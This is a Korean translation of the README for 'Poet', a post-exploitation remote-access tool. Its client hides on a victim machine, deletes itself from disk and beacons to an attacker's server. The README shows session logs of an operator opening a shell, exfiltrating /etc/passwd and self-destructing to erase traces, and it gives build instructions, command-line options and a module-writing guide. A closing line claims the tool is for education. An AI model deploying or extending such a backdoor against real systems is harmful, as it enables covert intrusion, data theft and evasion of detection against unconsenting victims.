
[유지보수 중단] 포스트 익스플로잇 도구
간단한 포스트-익스플로잇 도구입니다.
클라이언트 프로그램은 대상 머신에서 실행되며 연결할 IP 주소(서버)와 연결 주기를 구성합니다. 서버가 클라이언트가 연결을 시도할 때 실행 중이 아니면 클라이언트는 조용히 대기하고 다음 주기에 다시 시도합니다. 그러나 서버가 실행 중이면 공격자는 클라이언트를 제어할 수 있는 제어 셸을 얻어 대상에서 다음과 같은 다양한 작업을 수행할 수 있습니다:
이는 Poet가 할 수 있는 기능의 일부 예시일 뿐입니다.
시나리오는 다음과 같습니다. 공격자가 피해자의 머신에 접근하여 클라이언트를 다운로드하고 실행했습니다. 이 시점에서 서버는 실행 중이 아니지만 괜찮습니다. 클라이언트는 인내심을 가지고 기다립니다. 결국 공격자가 준비되면 서버를 시작하고, 먼저 셸을 열어 uname -a를 실행한 다음 /etc/passwd를 유출합니다. 그런 다음 종료하고 클라이언트에서 분리합니다. 클라이언트는 대상에서 계속 실행되며 서버에 연결할 다음 기회를 기다립니다. 나중에 다시 연결하여 클라이언트를 자체 파괴하고 대상에서 모든 흔적을 제거합니다.
피해자 머신 (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client는 데몬화되므로 표시할 내용이 없습니다
경고: 이 명령을 실행한 후에는 서버에서
selfdestruct를 실행하거나poet-client프로세스를 종료하여 클라이언트를 중지해야 합니다.
공격자 머신 (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
릴리즈 페이지로 이동하여 최신 poet-client 및 poet-server 파일을 다운로드하세요.
그런 다음 아래 사용법 섹션으로 건너뛰세요.
또는 직접 Poet를 빌드할 수도 있습니다(아래 참조, 매우 쉽습니다).
python2.7 및 zip 실행 파일이 사용 가능한지 확인하세요.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
그러면 poet-client와 poet-server가 포함된 bin/ 디렉토리가 생성됩니다.
Poet는 사용하기 매우 쉬우며 Python (2.7) 표준 라이브러리 외에는 아무것도 필요하지 않습니다. 쉽게 테스트하려면 일반적인 호출은 다음과 같습니다:
터미널 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
기본적으로 Poet 클라이언트는 데몬화되고 디스크에서 자신을 삭제하므로
--debug및--no-selfdestruct플래그를 사용하여 해당 동작을 억제합니다.
터미널 2:
$ sudo ./poet-server
기본적으로 서버는 443번 포트에 바인딩되므로 루트 권한(
sudo사용)으로 실행해야 합니다. 불편하다면sudo를 생략하고 클라이언트와 서버 모두에서-p <PORT>플래그를 사용하세요. 포트는 1024보다 큰 높은 번호를 선택하세요.
common/config.py 파일에는 Poet 빌드에 대한 다양한 선택적 구성 설정이 포함되어 있습니다.
AUTH: 클라이언트 인증을 위해 클라이언트와 서버 간에 공유되는 비밀 인증 토큰입니다. 기본값은 비밀이 아닙니다. 테스트 외 용도로는 추측할 수 없는 다른 값으로 변경하는 것이 좋습니다. 미리 빌드된 패키지는 기본 공개 인증 토큰을 사용합니다.ARCHIVE_DIR: 서버가 파일(실행 출력, 유출, 정찰 등)을 저장하는 디렉토리입니다.SERVER_IP: 서버의 IP 주소입니다.BEACON_INTERVAL: 클라이언트가 서버에 비콘을 보내는 간격(초)입니다.SERVER_IP 및 BEACON_INTERVAL 구성을 사용하면 이전에 명령줄 인수로 필요했던 정보를 최종 실행 파일에 내장하여 인수 없이 실행할 수 있습니다. 두 값 중 None으로 설정하면 기본 동작( SERVER_IP는 필수 명령줄 인수, BEACON_INTERVAL은 선택적 명령줄 인수)으로 되돌아갑니다.
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet는 클라이언트/서버 애플리케이션입니다. 클라이언트는 대상에서 실행되며 일정 시간 간격으로 서버에 비콘을 보냅니다. 필수 인수는 서버가 실행 중이거나 실행될 IP 주소뿐입니다. 그 뒤에 선택적으로 비콘 빈도(초)를 지정할 수 있으며 기본값은 10분입니다. 클라이언트가 비콘을 보낼 포트는 -p 플래그로 지정할 수 있습니다. 다른 모든 플래그는 "실제" 사용 시 사용되지 않으며 주로 디버깅용으로 존재합니다.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
서버는 사용자 자신의 머신에서 실행되며 클라이언트의 비콘을 수신합니다. 기본적으로 특권 포트(443)에서 수신 대기하므로 권한으로 실행해야 합니다(바인딩 후 빠르게 권한을 내려놓습니다). -p 플래그를 사용하여 1024보다 큰 비특권 포트를 선택하면 이를 우회할 수 있습니다.
Poet는 모듈 프레임워크를 통해 매우 확장 가능합니다. 실제로 posh 셸에서 사용 가능한 거의 모든 명령이 모듈로 구현되어 있습니다. 모듈은 common/modules/ 디렉토리에서 확인할 수 있습니다. common/modules/template.py는 시작점으로 사용할 수 있는 기본 예제 모듈 역할을 합니다. Poet 모듈을 추가하려면 common/modules/ 디렉토리에 넣고 make를 사용하여 Poet를 다시 빌드하면 됩니다.
다음은 클라이언트와 서버 간의 기본 통신을 보여주는 간단한 모듈 예제입니다. 이 모듈은 posh 명령을 등록하고 문자열을 보내면 클라이언트가 이를 뒤집어서 다시 보내고 서버가 출력합니다.
# Note: this module doesn't check if an argv[1] was given
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
모듈은 다음과 같이 시작합니다.
import module
이는 필수이며, 모듈 프레임워크에 등록하는 데 필요합니다.
다음 부분은 모듈의 서버 측 구성 요소입니다.
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.server_handler() 데코레이터는 posh 명령을 등록하는 데 사용되며, 데코레이터 매개변수로 명령 이름을 전달하고 명령이 실행될 때 실행할 핸들러 함수를 정의합니다. 핸들러 함수는 두 개의 매개변수를 받아야 합니다. 하나는 모듈을 호출한 PoetServer 인스턴스이고, 다른 하나는 입력된 명령 문자열을 인수 목록으로 나타낸 것입니다. 서버 인스턴스는 모듈이 클라이언트와 통신하거나 아카이브 디렉토리에 파일을 쓰는 등의 도우미 함수를 사용할 수 있도록 존재합니다. 이 모듈은 server.conn.exchange()를 사용하여 입력된 명령줄 문자열을 클라이언트로 보내고 반환 값으로 응답을 받습니다.
다음은 모듈의 클라이언트 측 구성 요소입니다.
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
@module.client_handler() 데코레이터는 클라이언트가 반응하고 처리할 작업을 등록하는 데 사용됩니다. 클라이언트와 서버는 문자열을 주고받으며 통신하므로 문자열의 첫 번째 부분이 특정 작업의 키워드입니다. 이 모듈은 서버에서 'reverse'로 시작하는 메시지가 도착하면 실행할 클라이언트 핸들러 함수를 등록합니다. 서버 핸들러와 마찬가지로 클라이언트 핸들러는 이를 호출한 PoetClient 인스턴스와 서버에서 전달된 입력 문자열에 대한 매개변수를 받아야 합니다. 그런 다음 클라이언트는 client.s.send() 함수를 사용하여 데이터를 서버로 다시 보냅니다. 이 경우 첫 번째 인수를 뒤집은 값입니다.
실제 동작은 다음과 같습니다.
posh > reverse poet
Sending: poet
Received: teop
문서화된 우려 사항:
저는 순전히 교육과 학습 경험을 위해 Poet를 구축하고 있습니다. 코드는 이와 같은 것에 대해 배우고자 하는 다른 사람들에게 유용할 수 있다고 생각하기 때문에 자유롭게 제공됩니다. 책임감 있게 사용하세요.